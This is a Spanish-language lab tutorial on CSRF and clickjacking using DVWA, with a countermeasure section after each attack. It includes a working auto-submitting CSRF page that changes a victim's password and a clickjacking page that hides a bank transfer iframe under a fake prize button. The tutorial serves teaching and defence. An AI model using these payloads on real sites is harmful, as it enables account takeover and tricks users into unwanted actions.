Estudio práctico de las vulnerabilidades CSRF (Cross-Site Request Forgery) y Clickjacking, su explotación en DVWA y sus contramedidas.
El atacante engaña a un usuario autenticado para que ejecute acciones no deseadas en una aplicación web donde tiene sesión activa.
<!-- Página maliciosa que el atacante envía a la víctima -->
<!-- Si la víctima la abre mientras tiene sesión en DVWA, cambia su contraseña -->
<html>
<body onload="document.forms[0].submit()">
<form action="http://10.0.2.4/dvwa/vulnerabilities/csrf/"
method="GET">
<input type="hidden" name="password_new" value="hackeado">
<input type="hidden" name="password_conf" value="hackeado">
<input type="hidden" name="Change" value="Change">
</form>
</body>
</html>
<?php
// 1. CSRF Token — generar y validar en cada formulario:
session_start();
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
// En el formulario HTML:
// <input type="hidden" name="csrf_token" value="<?= $_SESSION['csrf_token'] ?>">
// Al procesar el formulario:
if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
die('CSRF token inválido');
}
?>
# 2. SameSite Cookie (en php.ini o código):
session.cookie_samesite = Strict
# o
session.cookie_samesite = Lax
# 3. Verificar cabecera Origin/Referer:
if ($_SERVER['HTTP_ORIGIN'] !== 'https://midominio.com') {
http_response_code(403); exit;
}
El atacante superpone un iframe invisible sobre una página legítima para que el usuario haga clic en elementos sin saberlo.
<!-- El atacante crea una página con un iframe invisible sobre la víctima -->
<style>
iframe {
position: absolute;
top: 0; left: 0;
width: 100%; height: 100%;
opacity: 0.0001; /* invisible pero interactivo */
z-index: 999;
}
.boton-falso {
position: absolute;
top: 200px; left: 300px;
z-index: 1;
}
</style>
<!-- Botón falso que el usuario cree que está pulsando -->
<div class="boton-falso">¡Gana un iPhone!</div>
<!-- Iframe de la página real (ej: botón de transferencia bancaria) -->
<iframe src="https://banco.com/transferir"></iframe>
# 1. Cabecera HTTP X-Frame-Options (en .htaccess o código):
Header set X-Frame-Options "DENY"
# o
Header set X-Frame-Options "SAMEORIGIN"
# 2. Content Security Policy frame-ancestors:
Header set Content-Security-Policy "frame-ancestors 'none';"
# o permitir solo el propio dominio:
Header set Content-Security-Policy "frame-ancestors 'self';"
# 3. Frame-busting JavaScript (menos fiable):
if (top !== self) { top.location = self.location; }
| Ataque | Mecanismo | Contramedida principal |
|---|---|---|
| CSRF | Petición HTTP forjada ejecutada por sesión activa | CSRF Token + SameSite Cookie |
| Clickjacking | Iframe invisible superpuesto sobre página legítima | X-Frame-Options: DENY |